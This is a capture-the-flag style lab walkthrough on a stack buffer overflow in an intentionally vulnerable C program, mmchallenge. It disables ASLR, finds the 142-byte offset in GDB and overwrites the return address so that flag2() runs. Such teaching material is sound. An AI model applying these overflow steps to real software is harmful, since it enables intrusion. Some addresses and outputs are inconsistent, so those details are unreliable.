Memory Corruption Exploit2

In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.

If not yet done in Step 1, download the following ZIP file to your Hacking Lab Live CD, extract, and type make:

challenge

If not yet done in Step 1, make sure you disable ASLR by entering the following line (after every reboot):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is the code of the binary with the vulnerabilities we are going to exploit:

mmchallenge.c:

#include <stdio.h>
#include <stdlib.h>
#include <crypt.h>
#include <string.h>

const char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.";

int checkPassword(char *password) {
    char *hash;
    hash = crypt(password, "$6$saaaaalty");

    if (strcmp(hash, adminHash) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void flag1(void) {
        char buf[512];
        FILE *fp;
        printf("You are admin!\n");
        fp = fopen("flag1.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag1: %s\n", buf);
        fclose(fp);
}
void flag2(void) {
        char buf[512];
        FILE *fp;
        printf("You are superadmin!\n");
        fp = fopen("flag2.txt", "r");
        fgets(buf, 511, (FILE *) fp);
        printf("Flag2: %s\n", buf);
        fclose(fp);
}
/* void flag3(void) {
   ...
   fp = fopen("flag3.txt", "r");
   ...
}*/

void handleUser(void) {
        printf("You are NOT admin.\n");
}

void handleData(char *password) {
    int isAdmin = 0;
    char msg[128];

    isAdmin = checkPassword(password);
    sprintf(msg, "Password: %s", password);

    printf("IsAdmin: 0x%lx\n", isAdmin);

    if(isAdmin) {
        flag1();
    } else {
        handleUser();
        printf("%s\n", msg);
    }
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Call: %s <password>\n", argv[0]);
        exit(0);
    }
    handleData(argv[1]);
}

Get flag 1 in challenge "Memory Corruption – Step 1 – Variable overflow if not done yet!

Flag 2 Overflow SIP function

What if we add a little bit more A’s? Like 144 bytes?

./mmchallenge python -c 'print "A"*144'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

Segmentation fault

Seems it has crashed with a segmentation fault.

Overflow Analysis

Lets analyze the overflow a bit more. We start GDB with the target binary as parameter. The binary will be loaded into GDB and be ready to run. Then we will run it as above with the command run:

# gdb -q ./mmchallenge
gdb-peda$ run python -c 'print "A"*144'
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge python -c 'print "A"*144'
IsAdmin: 0x41414141
You are admin!
Flag1: dobinflag

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x405010 --> 0x0
RDX: 0x1c
RSI: 0x1
RDI: 0x4056d0 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe3a0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
RIP: 0x4141 ('AA')
R8 : 0x0
R9 : 0x12
R10: 0xfffffffffffff248
R11: 0x202
R12: 0x4010d0 (<_start>:  xor    ebp,ebp)
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3a0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
0008| 0x7fffffffe3a8 --> 0x2004010d0
0016| 0x7fffffffe3b0 --> 0x7fffffffe4b0 --> 0x2
0024| 0x7fffffffe3b8 --> 0x4052a0 --> 0x0
0032| 0x7fffffffe3c0 --> 0x4013e0 (<__libc_csu_init>:  push   r15)
0040| 0x7fffffffe3c8 --> 0x7ffff7dd5cca (<__libc_start_main+234>:  mov    edi,eax)
0048| 0x7fffffffe3d0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge")
0056| 0x7fffffffe3d8 --> 0x200000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000004141 in ?? ()

With RIP: RIP: 0x4141 (‚AA‘)

As we can see, the value of RIP is 0x4141, or AA in ASCII. It seems the CPU wants to continue the execution at an address which is based on our input string (AAAAAAAA….)!

Maybe we can call the function flag2(), which actually knowing the password?

We would require the following things for this:

  • The address of the function flag2()
  • The location in the input string which gets inserted into SIP/EIP (offset)

We can easily find the address of flag2()

gdb-peda$ print &flag2
$1 = (<text variable, no debug info> *) 0x40126d <flag2>

It seems our target address is 0x40126d.

Find the offset

We will update or python-based argument generator by appending BBBB at the AAAA’s. As RIP was "AA", we decrement the offset from 144 to 142.

# python -c 'print "A"*142+"BBBB"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

In GDB:

gdb-peda$ r python -c 'print "A"*142+"BBBB"'
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge python -c 'print "A"*142+"BBBB"'
IsAdmin: 0x41414141
You are admin!
Flag1: dobinflag

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
...
RIP: 0x42424242 ('BBBB')
...
Stopped reason: SIGSEGV
0x0000000042424242 in ?? ()

Bingo! The 4-byte value BBBB is now completely stored in RIP! Therefore the offset to SIP (the stored instruction pointer, which gets loaded into RIP when executing a ret) is 142 bytes. This means we can redirect the execution flow of the target program to any address we want.

Note that the program crashes, because there arent any valid Intel assembler instructions at memory address 0x41414141. If there were – they would have been just executed.

Write the exploit

Lets re-iterate what we know:

  • The offset in the first input argument to SIP is exactly 142 bytes.
  • The address of flag2() is 0x40126d

The next step is to replace the BBBB (the SIP) with the address of flag2. Note that because of the little-endianness, we have to convert the address. The 64-bit unsigned int 0x40126d is stored as little endian as 0x6d 0x12 0x40 Just read it from back to front, byte by byte.

Lets update our python argument line generator again. We can specify raw bytes in hex by prepending them with \x. Or in other words, \x41 = A.

# python -c 'print "A"*142+"\x6d\x12\x40"' | hexdump -v -C
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 6d 12  |AAAAAAAAAAAAAAm.|
00000090  40 0a                                             |@.|
00000092

Not that the bytes in the address are not ASCII-printable, therefore we piped the output into hexdump. You’ll also see that print added a newline character at the end, byte 0a. This should not be a problem.

Lets replace "BBBB" of our exploit with "\x6d\x12\x40"

gdb-peda$ r python -c 'print "A"*142+"\x6d\x12\x40"'
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge python -c 'print "A"*142+"\x6d\x12\x40"'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

You are superadmin!
Flag2: flag-2

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
...

It seems that the program crashes. But WAIT! It printed You are superadmin! before it crashed! And also Flag 2.

Does that mean that the flag2() was executed? Lets double-check by setting a breakpoint in flag2:

gdb-peda$ b *flag2
Breakpoint 1 at 0x4012d4
gdb-peda$ r python -c 'print "A"*142+"\x6d\x12\x40"'
Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallenge python -c 'print "A"*142+"\x6d\x12\x40"'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

Breakpoint 1, 0x000000000040126d in flag2 ()
gdb-peda$

Indeed, breakpoint 1 was hit, and we stopped execution in flag2!

Lets check it a third time, this time without gdb:

# ./mmchallenge python -c 'print "A"*142+"\xd4\x12\x40"'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1

You are superadmin!
Flag2: flag-2

Segmentation fault